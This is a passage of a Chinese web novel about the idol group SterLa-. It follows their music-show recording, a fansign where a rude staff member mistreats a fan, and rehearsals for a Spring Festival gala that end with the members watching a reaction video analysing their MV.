和台下小姐姐一起来的同伴看着对方沉浸式‘蹦迪’的身影无语两秒，随即也跟着这强力的节奏陷入热舞中。 曲终，SterLa-几人鞠躬谢场，粉丝们爆发出巨大的欢呼声。导演的大喇叭里传出通知，休息十分钟之后开始录制第二遍。 台上几人跑到台边去擦汗补妆，台下粉丝们也没闲着，巴巴地望着几人，时不时有胆大的粉丝大声大声询问。 “哥哥们！我生病了！！” 台下粉丝内突然传出一声叫喊，引得正在补妆的几人和场内的观众齐齐像声音来源处望去。 吴星雨突然拿起话筒，比了个暂停的手势，“停！” 大家又把目光集中到他身上，只见吴星雨老神在在地说道，“下一句是不是想说我们害你相思病了？” 场内众人反应过来他在接梗，发出阵阵哄笑，连转播室内的工作人员们看着欢快的录制现场也不自觉露出笑来。 “哥哥你怎么知道？！”台下的粉丝见偶像接自己的梗，兴奋的双颊涨红，眼睛亮晶晶地看着吴星雨，“哥哥，难道你就是传说中的神医吗？” “哈哈哈哈！”场内又是一阵善意哄笑。 粉丝们笑看着他们互动。虽然自己是个I人不敢在打歌休息的时候调戏自己爱豆，但还是很乐意看到有自家E人粉丝和自家豆互动的！ 江翰飞随着粉丝回答这下也找着声音来源在哪儿，眼神顺着声音望过去，扎着马尾的苹果脸的孩儿仰着头望着台上，猝不及防地和江翰飞的眼神对上，发出更大声的尖叫，在原地使劲儿蹦跶起来。 “诶诶诶！等等等等！”吴星雨赶紧发声，“首先我不是神医，其次你是不是该更新你的土味情话梗了？！” “哈哈哈哈哈哈！” 配上吴星雨夸张的表情回复，粉丝们也乐不可支。 “最后，我还没没说啥呢，怎么突然这么激动！？”吴星雨连连摆手摇头，“可不兴这样啊，这是碰瓷哈！” 女孩儿自己也笑起来，更加激动地说，“因为你们太帅啦！！” “宇宙无敌第一帅气大方宠粉有实力的SterLa-！！！” 还不等吴星雨说话，女孩儿又大声喊道，“世界第一帅气可爱真诚宠粉有实力的江翰飞！！爱你哦！！！” “哈哈哈哈哈哈！！”场内大家反应过来，刚刚女孩儿尖叫应该是看到了江翰飞，这位是江翰飞的团偏！ 江翰飞被点名当众表白，饶是已经习惯粉丝们对他各种热烈表达爱意的他也忍不住感到一丝羞涩，睫毛快速扇动，脖子染上红色，耳垂也变得粉嫩。想伸手挠挠头缓解情绪，发现自己现在正做着妆造，赶紧打住，往下摸摸后脖颈，垂下眼睛微微朝着那个方向轻轻鞠躬。 “啊啊啊啊！宝宝太可爱了！” “今天是害羞的阿飞！！” “啊啊啊！” 场内众人被他反应萌到，沸腾出一片尖叫。 吴星雨假装吃醋伤心道，“行吧，看来是我自作多情了。” “宝宝，我也爱你！你是世界第一帅气活泼开朗超级会跳舞的队长！！”苹果脸女孩儿赶紧又大声喊，哄着吴星雨。 吴星雨的粉丝们也赶紧配合自家表演欲望上来的爱豆，“谁说的！你就是最棒的！！” “吴星雨我不允许你说自己自作多情！！” “哥哥就是最帅的，不允许反驳！” 这下吴星雨满意了，假装挑衅地扔给江翰飞一个骄傲的眼神。 看看，我还是很牛逼的吧！ 江翰飞收到自己哥哥的幼稚挑衅，弯着眼睛给他竖了个大拇指。 对方弯起嘴角，点点头一副算你识相的样子。 台下粉丝们被两人互动可爱到，发出阵阵笑声。 “SterLa-第二场，录制准备——” 导演大喇叭的声音打散欢快的氛围，场边几人已经准备好，化妆师匆匆收拾好手里的物品，退到场下。 灯光随着导演的声音再度暗下，场内粉丝们收拾好心情，准备再跟着SterLa-二次’蹦迪‘。 但是当大家看第二次舞台表演时，他们发现好些之前没注意到的地方。 例如他们玩儿123木头人时候的动作看起来似乎有些诡异，像是被控制的提现木偶；例如他们在笑着跳舞的时候笑容也十分诡异，全程保持着一个弧度的微笑；结尾最后的欢快的伴奏里是不是夹杂着哭闹的声音 镜头时时刻刻跟着自己爱豆的站姐们比普通粉丝们更早一步发现他们这次打歌诡异之处。 平时舞台表情管理满分的禹安在这次的三专主打首舞台里居然一个表情变换都没有？！这种初级新手都不会犯的错误怎么可能出现在一个以表情管理著称的男爱豆身上呢？ 江翰飞和葛文山的站姐们更是在上一场打歌时就感受到，毕竟自己豆平时真的不会一直保持笑容啊！ 第二次录制很完美，SterLa-结束舞台录制，和粉丝们打完招呼后退场，徒留面带着不舍粉丝们开始纠结他们刚刚表演里觉得违和的地方。 SterLa-几人回到后台休息室，欣怡等几人稍稍休息一会儿便问道，“现在还早，你们是要回公司还是在这儿练习？” 今天他们早上来了没一会儿就到他们录制，现在录制完成还不到中午，但一位的颁奖要到傍晚才开始实时录制，中间如果一直呆着休息未免太浪费时间。 “不如我们来准备今天打算送给粉丝们的礼物吧？”江翰飞想想提议道。他们后面除了打歌和新春演唱会没有其他行程。 瘫在沙发上的禹安一个鲤鱼打挺坐起来，“这个好！” 欣怡一想也行，让人把放在车库的东西搬上来，等他们开始折纸盒，旁边的随行摄影师也跟着开始拍摄。 这是他们今年准备送给粉丝们的反应援新春礼包，东西都已经备好了，就差没有放进定制的盒子里。索性今天的休息室地方大，直接摆在沙发、地摊上就可以开干。 而录制厅内小姐姐的同伴看着她盯着SterLa-下台，然后露出一副怅然若失表情，和周围SterLa-粉丝一般无二。 她开始回想，半个小时之前，自己朋友说的什么来着？ 正巧这时候小姐姐转过头来，对上自己同伴意味深长的眼神，不由露出一个尴尬而不失礼貌的微笑。 噢，她想起来了，她半小时前好像说的是，‘能有多好啊？全场都是他们的应援我哥哥多尴尬啊？’ 是的吧？ 第88章 三专反响超出所有人预期。 打歌五天就拿了五个一位，如果不是因为距离春节的时间实在太紧，他们没有办法继续打歌，说不准这次能收获多少个一位。 而销量方面首小时预售32万，首日84万，整个预售期三专总销量为107万，挤进百万销量男□□列，成功打破师兄记录拿下男团最快拿到首个百万销量的达成时间。 音源成绩更不用说，在首日累积后成功进入Top 10。就如欣怡所说，成为近三年出道的男团里，唯一一个音源进入榜单Top 10的男团。 并且现在已正式上线五天，还一直稳在前十没有掉出去。 当前后左右都已经变成《恭喜发财》《新春贺大年》这类春节专用曲目了，就它一首流行歌还在硬撑，让圈内人也不禁好奇地去听听他们的作品，到底是什么歌能在一众庆贺新年的曲目中杀出重围。 一听大家也明白过来，这首歌节奏欢快又明亮，呆在一水儿的新年歌曲里是真的一点儿不显得违和。 直到1.26号今天他们三专的首场签售会开始，《以黑为白》都还争气地呆在实时收听日榜前十里。 外面天气冷得很，虽然有太阳，但是湿冷的感觉还是附着在人身上，让人懒懒的不想动弹。 而要参加年前仅有的两场签售之一的粉丝们却很亢奋，早早起床精心装扮好，现在正坐在会场里，期待着待会儿与自家偶像的见面。 会场明显被人精心装饰过，四周张灯结彩，顶上挂着各类春节装饰品，桌椅板凳也都换成了符合新年氛围的红色，光是坐在等待的座椅上都能感受到浓厚的春节气息。 朱朱抱着一本写真集和自己的摄像机坐在位置上安静等待，见SterLa-还没来，就拿起自己的摄像机调出拍摄的江翰飞照片一张张翻看。 这摄像机可是宝贝，里面有许多江翰飞在各个时间，各种场合的图。而且能经过删删减减之后还留在里面的都是精品，让她能时不时就像拿出来反复回味一下。 翻到一张江翰飞穿着白色西装外套，懵懵看着镜头的照片。 诶，这个时候的江翰飞才出道没有多久，虽然看上去和现在一样冷冷的不怎么说话，但一看眼睛还是能看出来里面是懵懂又警惕的。 朱朱心里立即想到这张照片上的江翰飞当时是在台边补妆，而舞台上的他竭尽全力又略微带着拘谨的表演，简直让人升起一股怜爱，欲罢不能。 再往后翻，朱朱又看到一张一专时期江翰飞打歌的照片。这张让她怔愣一会儿，手不自觉地抚上照片上的那双眼睛和嘴角那抹笑容。 这是江翰飞一专首场打歌舞台，也是他们的出道首舞台。 朱朱轻轻笑起来，首舞台的江翰飞闹了乌龙，第一场录制的时候还很放不开，但是到第二场录制就跟换了一个人似的。自己特别喜欢那双羞涩眼睛里以野心和渴望为燃料，烧着熊熊的；嘴角那抹笑像是挣脱束缚的野草，在无尽旷野里随风而张，肆意又自由。 当时她的镜头捕捉到这双眼睛这抹笑后，就被一脚揣进这个名为江翰飞的大坑里，成为他的第一个站姐。直到现在也没能爬出去。 “来了来了！！” “啊啊啊！哥哥！” 刚刚还安安静静的等候现场内突然变得喧哗。朱朱一听这动静就知道一定是他们入场了，顺势从容地举起手里的摄像机起身对准舞台方向，寻找江翰飞的身影。 台上五人已经站定，朱朱很快循着站位找到江翰飞的脸。 下一秒。 不是。 这谁？ 谁染了一头红头发？ 江翰飞？ 江翰飞染红头发了？！！ 朱朱不由放下手里的摄像机改为肉眼去看台上几人。 江翰飞染红头发，总觉得是自己的摄像机骗人。 居然还真的就是江翰飞染了个扎眼的红色头发。 “啊啊啊啊宝宝染头发了！” “红发阿飞！啊啊啊！” “卧槽卧槽红头发！” 在场的粉丝们也没想到，现在已经结束打歌了居然还会换发色。 明明昨天在春节前的最后一场打歌录制时还是自己原本的黑发，今天一来签售居然改了发色！ 站在台上的几人一派泰然自若地跟粉丝们挥手打着招呼。 “让大家久等啦！”吴星雨拿起话筒领着自家队友跟在场的粉丝们打招呼，“我们是——SterLa-！” “欢迎大家来到我们的三专第一场签售！” “今天外面很冷吧？”吴星雨又聊起来，“真是辛苦大家过来参加我们的签售。” 他说完江翰飞举起话筒接话道，“一定要多穿衣服，穿得暖暖的，如果谁感觉自己冷或者感冒了，可以找在场的工作人员拿热水、毛毯。” “有其他什么需求也可以找他们。” “哥哥，那找他们可以领你们回家吗？我真的很需要！”台下粉丝问道。 江翰飞一本正经，“那应该不行。” “哈哈哈哈哈！” 于立果解释道，“主要是担心成渣男或者犯重婚罪。” “没事的哥哥！我们不领证就行！” “我们不领证只谈恋爱没毛病！！” 于立果也不慌，“那也不行，虽然不犯重婚罪，但是我就成渣男了啊！” “你们休想害我。” “哈哈哈哈哈哈。” 三言两语间签售会场的氛围快速活跃起来。 “大家注意不要着凉，感冒生病会很难受。”葛文山见话题跑歪赶紧拉回来。 “喔喔，这么一说，我想起来当时阿飞好像在出道前生过一次病吧？”于立果突然想起就在集训时期，有好几天江翰飞都不跟他和时元一起吃饭，他们还纳闷儿呢，后来才知道在集训期间江翰飞有一次感冒很严重，差点在下一次的集训考核里唱歌出不了声。 “是有，犟得不得了，让休息不休息，非得跑来练习室练习。”吴星雨撇撇嘴，明贬实褒。 粉丝们也捂嘴偷笑，早习惯台上他们哥几个时而相互揭短嫌弃，时而‘如胶似漆’的交流方式。 江翰飞无奈地点头笑笑，不是在和粉丝们沟通吗？怎么这么久的事儿了还能被自家大哥们训一顿。 “是的，感冒生病真的很难受，所以大家注意保暖，不要生病。” “好~~”台下粉丝们配合地答应着。 话落工作人员们示意签售会开始，场内也开始播放他们的三专歌曲。 第一个上来的是个熟人，是那天三专首场打歌录制在他们休息时间一起互动的苹果脸粉丝。 排在最右边的是吴星雨，一见她还挺有印象，调侃道，“今天准备夸我什么？” 女生一点也不胆怯，一边落座一边回道，“哈哈哈哈哈吴队你好记仇！” 吴星雨在她的专辑上签名，头也不抬地说，“啊对对对对，果然不爱就是记仇啊，诶~~” 女孩子被逗乐了，赶紧哄哄，“你是超级聪明大方不记仇舞蹈超级超级好的队长大人！” 吴星雨一听狡黠笑道，“我录下来了，回头放给阿飞听。” 女孩儿瞬间变成苦瓜脸：“啊，吴队你坑人！” 没一会儿女孩儿就轮到江翰飞。 江翰飞今天穿着米色长绒毛衣，红色的头发衬得肤色又亮又白，身上柔软的毛衣又中和了张扬发色和冷峻五官带来的攻击性，竟然显得有几分温柔。 “欢迎你来我们签售会。”江翰飞从她手里接过要签名的专辑，对她笑道。 “飞崽！我是妈妈粉！”女孩儿被他刚刚的笑容蛊惑一瞬又回过神来，“我有一个问题想问你，你一定要如实回答我哦！” 江翰飞递给她签好名字的专辑，认真地问她什么问题。 女孩儿眨眨眼，眼里闪过一丝狡黠，“想问问阿飞你最近是不是长胖了啊？” 江翰飞一愣。 他长胖了？ 还胖到要被自己粉丝提醒的程度？ 他脑子里快速的过滤自己近期吃的东西，做的运动，最新的体重和体型报告。 难道是因为前天晚上吃的那一小盒草莓？ 原本是想逗逗他的女孩儿见他真的在皱眉思索反思上了，立即出声制止，“哎呀哎呀江翰飞你别想了！” “我说你胖——” 女孩儿见江翰飞注意力看过来，“是因为你在我心里越来越有分量了！” “噗——” 旁边头听完全程的禹安没忍住笑声来，反应过来听人家对话好像不太好，又赶紧侧过脸去憋笑。 江翰飞也回过神来，他这是被粉丝的土味情话逗弄了。一时间又好笑又无奈，“我还以为真的是自己最近没注意到管理。” 说完又带点不好意思地说，“对不起啊，没接上你的梗。” 当爱豆这么久，经过那么多场签售，怎么还是接不上粉丝的这种土味情话梗呢？ “哈哈哈哈哈”女孩子乐得不行，见江翰飞还道歉上了，赶紧说，“江翰飞你别道歉啊，你也不准去学土味情话梗噢！” “你学了我们怎么逗你呀！” 江翰飞的反应大部分都在她的意料当中。就是要这样调戏爱豆才有意思呀！尤其是江翰飞这种，尤其让人有想欺负和逗弄的欲望！！ 女孩儿想想，又真担心江翰飞觉得自己胖，被工作人员请离位置时，还一直扭过头跟江翰飞说，“阿飞你别减肥啊！你真的超级超级瘦了。” “多吃点，别减肥。” “麻麻爱你哟！” 第89章 江翰飞哭笑不得的看着女生离开，点点头应好。 有时候他真的觉得自己的粉丝们很神奇，看起来还没他年纪大呢就说是他的姐姐粉和妈妈粉。 朱朱在下面举着摄像机对准江翰飞，围观了女生逗弄江翰飞的全程。 虽然没听见他们说什么，但是从他们的脸上已经能看出他们的开心。 轮到她签售时，她带上了那本写真集，却在队伍前就被工作人员拦下，“不好意思，我们这里不允许带东西上去。” 说着就想来拿她手里的写真集。 朱朱侧身避过，皱眉问道，“大家不都经常拿着挂件玩偶和发卡这些东西上去吗？” 工作人员面无表情，仍是一板一眼道，“不清楚你在说什么，这里不允许带东西上去。” 一边说，一边用眼睛不住地去看她手里的写真集。 哪有这种规定？ 捏紧手里的写真集，眼看着就要到自己的顺序了。朱朱正在两难要不要把写真集放回座位间。 工作人员劈手夺下她手里的写真集，随手扔到一边，仍是语气淡淡地，“到你了，赶紧上去吧。” 说着使劲儿推搡着朱朱，让她赶紧顺着阶梯去台上进行签售。 朱朱反手挣开，压着火气，“你凭什么扔我的东西？” 一旁等候席上靠近排队的位置似乎发现这边的争吵，已经有不少人在看向这边。 排在朱朱后面的粉丝是个面嫩的女生，更是被朱朱和工作人员的争吵吓得眼睛瞪得溜圆，直愣愣地看着二人。 “都说了签售不准带这些东西上去。”工作人员的语气听起来比她还不耐烦，翻着白眼说道，“听不懂不准带这些东西这个规定吗？” 在台子后面看文件的唐君君耳朵微动，似乎是有点不一样的声音，随口问道，“前面有什么事儿吗？” 正在帮唐君君做事的欣怡起身去查看情况，发现是签售排队的地方隐隐有些躁动，紧走几步过去看看情况。 朱朱怒瞪着蛮不讲理的工作人员，但她教养太好，气了半天骂不出什么话来。 见签售会注意到这儿的人越来越多，担心影响到他们签售会进行或者江翰飞的印象，咬咬牙。 算了，就当今天出门不利遇到神经病好了。 这样想着，准备去捡自己写真集的朱朱又被工作人员拦下，“请上台签售，不要再耽误时间了。” 说着有用一种微妙又轻蔑的眼神看着她，“你不知道自己耽误签售进程了吗？” 朱朱被气到说不出话，排在她后面的女生围观了全过程，终究也气不过，帮腔道，“你什么态度啊？” “明明是你先抢人东西，又拦着别人不准去捡。还好意思怪我们耽误签售会进度？” 女生越说越气，声音也越来越大，“你先给我们道歉！” 台上几人签完当前的几位，也隐隐听到吵闹声，几人对视交换一个眼神，一起起身往排队的地方聚过去。 工作人员不以为意，“道歉？哼，你们爱签签，不签就走啊！” SterLa-几人听见这会瞬间黑脸皱眉。 都是她们的粉丝，这么冷的天，又临近春节，辛辛苦苦大老远跑来和他们见面，工作人员就是这么说的？ 江翰飞发现说话的女孩子面前站着的是自己非常熟悉的一位站姐。 跟以往给他的知性温柔的姐姐形象不一样，似乎也是被气到了，整个人都涨红脸，冷冷地瞪着工作人员。 再一扫，他又发现不远处的地上躺着一本黑色的写真集，看着有些眼熟。 江翰飞下了阶梯，走过去捡起来，拿在手里沉甸甸地坠手。 原来是自己的写真集。 他垂眸想到，自己确实见过这个封面，在自己超话和许多粉丝的首页帖子里。 是自己第一个站姐Fly-Sterne给他出的生日特别版写真集，在他生日当天抽了三百份送出去。他在超话和粉丝的首页里见过要抽到这本写真集的许愿贴。 唐君君一出来看到的就是一堆人围在签售排队的地方，安保人员跟傻了一样站在原地，SterLa-几人站在最外围往里看。 她一过去，围着的人群像是接收到什么信号，自动留出一条路给她通往最里面。 “什么情况？” 见唐君君过来，工作人员马上换了个样子，刚刚趾高气扬的眉毛放下，低眉顺目地说，“签售会不允许带写真集这类东西上台，我说不准她非要带，堵在这里耽搁了大家的时间。” 朱朱一听这话就被气笑了。 好一个避重就轻，好一个她不听非要带，耽误大家时间。 “首先你们不准带写真集这件事没有提前通知，其次你不仅说不准带的语气非常恶劣，最重要的是你直接从我手里抢东西扔掉，还不准备我捡回来。不是我耽误大家时间，是你。” “最后，我站在这儿是作为消费者和粉丝的双重身份，请你搞清楚。” “就是就是！” “态度太差了！” 其他有看到过程的小姐姐们也愤愤开口。 唐君君跟欣怡打个眼神示意，转而对着朱朱说道，“不好意思，确实是我们的问题。” 一句话先定完事情的对错，不经心地瞟一眼旁边头埋得更低的工作人员，“以后得签售您都不会再看见他。” “另外，为了表达歉意，请收下我们送您的致歉礼物。”说着从刚刚跑来的欣怡手里接过一个小礼袋，双手递给朱朱，温声说道，“是还没有发售准备上线的限量款。” “希望能稍稍弥补您被破坏的心情，能继续享受签售会的旅程。” 朱朱和后面的小姐妹们都认识这是SterLa-的主要经纪人，见她这种明事理的态度，心里的火气散了大半。 接过礼袋，朱朱抿抿唇，“那行，不过我希望最后对他的处罚您能告知。” “毕竟有这样的人在队伍里，真的很拉SterLa-的印象分。” “那大概不太行，毕竟是公司的内部事务。”唐君君还是温和的样子，“不过可以保证的是以后他不会再在SterLa-的团队里。” 朱朱点点头。 那就行，反正只要不祸害到她的阿飞就行。 唐君君仔细看着朱朱神色，见她已经没什么异样，又微微一笑，朝着围着的其他女孩儿们说道，“真是抱歉破坏大家的心情，也感谢大家来参加SterLa-的三专签售会。” “为了表达歉意，待会儿其他工作人员也会给大家送上我们的致歉小礼物，还希望大家能忘记今天的不愉快，好好享受签售会。” 一听围观的自己也有小礼物可以拿，事情也解决得很好，其他粉丝们也开心起来。 “没事没事，解决就好。” “嗯嗯会的，天大地大，我宝最大。” 气氛一下子松快下来，欣怡早带着犯事儿的工作人员去了台子后面，新的工作人员是一位上了年纪的姐姐，对着还围在一起的大家提醒，“请大家回到自己的座位，稍等一会儿我们就继续开始签售哦。” 朱朱想起自己被扔到地上的写真集，四下一看却没找到踪影。 不知道是被谁捡走了还是刚刚人多被踢到看不见的地方了。 失落地收回目光，将刚刚SterLa-经纪人送的小礼物放回自己的座位，朱朱整理下自己的头发和衣服，拍拍胸口，呼出一口气，“没事的没事的，要去见阿飞同学了，开心点开心点。” OK！ 安抚完自己，重新调整好心情的朱朱朝排队的地方走去。 在那个**工作人员搞事儿的时候，SterLa-已经把她前面的人签完了，现在到她是第一个人。 拍拍自己裙摆，朱朱露出一个微笑，踏上签售的阶梯。 坐到江翰飞面前的时候，朱朱笑着和他打招呼，“又见面——？” 说到一半，江翰飞突然递过来一个东西打断了她的话。 她笑容落下，眼睛盯着江翰飞的黑色的眼睛，手下意识接过，是她熟悉的重量。 “刚刚不好意思。”江翰飞丝毫不避开她直愣愣地盯视，反而也认真地看着她的眼睛说道，“掉地上沾上的灰我已经拿湿巾和纸巾擦干净，也拜托他们在最后一页签名了。” 说完快速地垂下眼睛又极快地再次和她对上视线，嘴唇轻抿，微微带出一个笑的弧度，“希望没搞砸你的签售会。” 朱朱听他说最后的签名，保持着一副呆呆的样子视线又落到手里的东西上。 的确是自己带来，又以为在刚刚的小插曲里丢失的写真集。 翻到最后一页，上面写着整整齐齐的五个人签名。 朱朱眼眶一热，鼻子发酸。刚刚被人不讲道理的指责和委屈，从心底里像是小鱼吐泡泡一样咕噜咕噜冒个不停，又在胸腔处炸开。 “别哭。”江翰飞见她一副要哭出来的样子，手忙脚乱地从桌边取出一包纸巾，抽出一张递过来，“别哭别哭。” 他嘴比较笨，也不知道这时候该说什么好，要继续道歉吗？ 突然他又想到了带着的巧克力，赶紧又从桌肚里取出一块巧克力，推过去，“吃点巧克力，别哭了。” 朱朱看着他手忙脚乱的样子，微微仰起头，把眼眶里的眼泪倒回去，在比自己小的江翰飞面前哭未免也太没有面子了。 她一直以来的温柔知性姐姐人设还怎么继续立啊？！ “我没哭。”朱朱一边犟嘴一边把江翰飞递过来的巧克力攥在手里，“这本来是想带来送给你的，现在不想送了。” “那就不送。”江翰飞见她不像要继续哭的样子松口气，“真的对不起，让你遇见这样的事。” “你道什么歉？”朱朱赶紧反驳，“跟你没关系呀。他是他，你是你，他只是你们公司的工作人员，没法代表你们。” “而且有你送的签名和巧克力，我现在一点都不伤心了，还挺开心的。” “那就好。”江翰飞闻言露出一个开心的笑，唇边的梨涡微微显露，“一定要开心哦。” 朱朱又暖心又有点不自在，感觉像是被一直照顾的弟弟安慰到，转移话题，“你怎么今天染了红头发？” 江翰飞听见手不自觉地扒拉两下头发，微微垂头，“就，就昨天玩闹的时候不小心染的。” 说着有些羞赧，昨天因为打歌完卸妆的时候禹安发现一次性染发剂非要给江翰飞试试粉色头发。 江翰飞拗不过，让他试了一小搓，结果染出来实在太丑。一旁的妆造师看不下去，干脆直接全给他染成红发。 朱朱眨眨眼，敏锐地从他表情神态和不好意思的语气里察觉出什么，莞尔一笑，“很好看噢。” “特别好看，这还是你柚粉色头发之后的第二个发色呢！” “喜欢的话可以多尝试呀。特别帅气的阿飞。” 接连的夸奖让江翰飞眼睫毛快速扇动几下，抬眸望向朱朱，“你们也喜欢我染头发吗？” “好，我会给妆造老师说——” 没等他说完，朱朱打断他，认真说道，“不是我们喜欢。” “是因为你喜欢，你愿意，所以我们也喜欢。” 第90章 仅有的两场签售结束，参加签售的粉丝们怅然若失。 三专的签售场次也太少了吧！ 不能跟着隔壁学学来个二三十场吗？！ 不过他们也清楚，隔壁能签这么多场，完全就是在还贷款的销量。与其沦落到需要用加签售场次来还贷款的销量，那还是SterLa-这样能有实打实的百万销量更好。 虽然能见他们的次数真的少了很多T T。 签售结束后面紧接着就是春节。 乐狮的练习室里，SterLa-正紧张筹备着今年青川卫视的春节联欢舞台。 原本他们今年春节前后没什么安排，不料青川卫视原定的表演节目单里有位男艺人突然爆出恶性丑闻，所有作品和代言一夜之间掉了个干净，但凡负责青川卫视春晚的导演有点脑子，都不会在春晚上这个男艺人。 而当时距离春节还有不到20天。这让负责青川卫视今年春晚的导演愁得满嘴燎泡，火急火燎地到处找人顶。 但大部分艺人的行程安排都是提前一两个月就早早安排好。够格的，有空档的，能上春晚的早被其他卫视预定，不够格的导演也不敢强推。 找来找去，找到袁杰身上，袁杰反手就把江翰飞他们给推荐过去。 也正巧SterLa-年前发行三专，漂亮的百万销量和后续前十的音源成绩让导演跟抓住救命稻草似的赶紧联系乐狮。 天上掉的馅饼儿唐君君自然一口答应下来。 这可是难得的好事儿，要不是临时缺人，SterLa-想上卫视春晚需要再努力一两年不说，还得花大把钱财和资源去拉关系，抢名额。 她一边应下导演的邀约，商定好后面的行程，又赶紧给袁杰发去消息表示感谢。 多和这些老前辈们联系没什么坏处，这不资源就推来了吗？ 于是已经结束三专打歌舞台的SterLa-几人不得不放弃原本回家的计划，一天里仍旧大半天泡在练习室里，马不停蹄地排练春晚舞台。 “这么短的时间，真是急疯了吧？”禹安喘着粗气躺在地板上，四肢瘫软不想动弹。 吴星雨走过来踢踢他的脚，“起来，还有两遍。” “啊啊啊啊！”禹安一边痛苦嚎叫，一边听话的起身，“为什么一定要表演《钢铁丛林》啊？” “就表演我们最近的《以黑为白》不行吗？！！” 旁边的江翰飞擦掉额头上的汗，他也不明白为什么一定要选《钢铁丛林》，如果选三专主打曲，以他们现在的熟练度，几乎不用额外的练习。 “你以为这些导演会看不懂我们MV想表达什么？”于立果见禹安死鱼一样赖在地上，好笑道，“我猜肯定是《以黑为白》这个主题的歌曲不太敢放到春晚表演舞台上去。” “尤其还是地方卫视，又不是随便一个三方的春节晚会。” 这么一说，好像还真是？ 其余几人心里默默想到。 虽然大众们对《以黑为白》这首歌接受度很高，在临近春节期间也有不错的成绩，普遍认为是非常欢快的歌曲，但实际上他们要表达的想法却恰恰相反。 说不准还真是导演看穿他们这首歌想真实表达的东西，才不敢让他们在晚会舞台上表演。 当导演的，应该会懂导演想表达什么吧？ “之前我们一起看的那个小哥还有在解析我们的MV吗？”江翰飞突然想起在葛妈妈那儿一起看的做Reaction视频和MV解析的小哥。 “有吧？”吴星雨拿起墙角的手机，熟练的从关注列表点进对方主页，“噢，还真有，今天才发出来。” “这么久才发？看看！看看！”禹安这下也不觉得累了，几步凑过来。 “看什么看，等会儿我们练完休息再看。”吴星雨一把推开禹安，赶紧把手机丢回墙角，拖着瞬间失去力气的禹安回到练习室中间。 “还有两遍，练完我们休息十五分钟，再一起看吧。” 禹安有气无力地点点头。 除了接受还能怎么办？ 虽然咋呼，但他也就是随便闹闹，当然知道舞台最重要。不然今天早上七点半开始练习，到现在晚上九点，他们泡练习室泡了一天，怎么坚持下来的。 明天还得早起去春晚场地三彩。 嘴上说是2遍，在吴星雨的压榨下变成了5遍。等他喊停时，几人已经被榨干最后一丝力气，歪七扭八地倒在练习室里躺尸。 吴星雨一边缓着气一边从墙角拿起手机过来，盘腿坐在几具‘尸体’之间，“不是说要看他的Reaction吗？还看吗？” “看！”禹安咬牙切齿，懒得起身，直接在地板上一滚滚到吴星雨旁边，趴着扒拉吴星雨手里的手机。 江翰飞没好意思就地打滚，老实地起身走过来。于立果和葛文山也做不出禹安地上打滚的动作，嫌丢人。 “HelloHello各位，我们好久不见了！”视频里up主戴着耳机跟镜头打招呼，“首先欢迎各位又来看我视频了。虽然我录视频的时候还有一周多才到春节，不过等我剪完视频估计就快临近春节了吧？那就提前祝大家新春快乐。” “言归正传，录这个Reaction视频主要是为了解析SterLa-的三专主打曲。”说着视频里的博主露出灿烂的笑，“老粉应该都知道，我最开始涨粉起量就是因为做了他们一专的MV Reaction.” “我本来也从不看什么舞台表演，也不听男团歌，结果被他们的一专MV带进坑里。恭喜他们又发新专辑，又拿到的了新成就。” “一起来看看SterLa-这个团会带给我们什么样的三专吧！”说到这儿，视频里的UP主一顿，“还是老规矩，我从名字先预言一波：以黑为白，指鹿为马。我猜大概就是这个概念吧？” 禹安突然说道，“他还真聪明啊，先从文章标题找中心思想。” 其余几人听见禹安的形容一瞬间放空，这是什么比喻？ 点击播放，MV首先浮现的是一个沉浸在阳光中的巨大草坪，画面明亮又清新。 “这次的编曲和MV画面的基调都这么欢快？”视频里的UP主有些茫然。 难道猜错了？ 可是不管是从歌名还是从SterLa-前两张专辑来看，他们都不太可能单纯地出这种快乐口水歌啊？ 又想到这次SterLa-突破的百万销量。 难道这是在跟市场妥协？ “他是在纠结吧？”坐在吴星雨右边的江翰飞出声说道，“他上次就知道我们团的概念是连通的整体概念，加上这个名字，大概会以为是一首基调很悲凉的歌？” 吴星雨点头认同江翰飞的说法，嘿嘿一笑，“这年头，就是得玩儿反差。” 君不见反差萌这个tag在人设上热度终年不减。大家都爱玩儿。 “等等！大家看这儿。”终于，在MV进行到了十多秒之后博主按下第一个暂停，“刚刚还很明亮的画面，到这儿突然就变暗了。” “光影从这里分开，从这个布局和亮度对比来看，这里明显右边是象征着强势的一方。” “不对？刚刚这是？”UP主突然皱眉，惊疑不定地说，“立场颠倒？” 刚刚画面里是一个从屋内透过一扇窗望向外面的视角，窗外阳光正好，热烈直白的阳光猛地照射进窗内的空间，又被窗户的形状限制，显示出有型的光柱，将黑暗的房间一分为二，左边在强烈的白光中，右边在黑色的阴影中。 但刚刚一瞬间，窗外似乎快速流转一天，白色光柱从左边换到了右边，右边自然变成阴沉的黑。 “虽然只是一个镜头。”UP主皱着眉，不太确定自己的想法是否正确，毕竟虽然MV画面语言有点那个意思，但背景编曲实在是太欢快了，“我们先记录一下吧。” “总觉得SterLa-的MV没这么简单。” “一个镜头都能抓到，确实厉害。”葛文山在旁边也不禁感叹一句。 可惜这个镜头之后，就是草坪几人玩儿123木头人游戏的镜头。阳光洒下来落在每个人的头发上，显得他们的笑容灿烂又耀眼。 UP主的神情更加纠结，“这个画面构图是典型的从下往上拍，虽然整个色调很暖，但是这个视角却很有压迫感。” “而且你们看他们的动作，我个人感觉是很僵硬的。” 随着副歌来临，节奏也越发紧凑，画面一转又变成在房间里开party的开心场景，每人脸上都洋溢着笑容，“这个地方镜头语言和他画面氛围完全不一致，急速拉镜头给了一双眼睛特写，又快速甩镜头，到另一个人颤抖的睫毛侧写。” “这不应该是表达欢快氛围的镜头。” “难怪你说春晚导演能看懂咱们这个MV实际表达的含义呢。”吴星雨侧头跟于立果说道，“原来他们看MV都是这么去分析的。” 江翰飞想起自己在练习生时期上的表演课，“公司教我们表演的老师教过，叫拉片。” 眼神重新落回手机视频视频上，心里升起一种隐秘的期待，希望有人能理解他们想表达的内在。 三分多钟的MV结束，视频里的UP主摘下耳机。 他的眉毛从皱起后就没放松过，到现在还半思索半纠结的模样。 清清嗓子，“首先声明，在看MV之前，我刻意没有先去听歌，这是我第一次完整听完他们的三专主打。” “老实说，在知道音源成绩和销量成绩都非常好的情况下，我最开始是有点失望的。”他拖动MV视频进度条，调整到开头的地方，“前奏和最前面的两句感觉都是市面上的口水歌，没什么特色，不如他们一专二专的主打抓耳。” “让我差点以为他们对市场妥协了。” 一边说着，又一边把视频进度条拉到窗户视角那儿，“但是这个镜头一出来，配合上背景里快乐的音乐，以及显得非常违和的隐隐哭声，我才发现他们想表达的一点东西。” 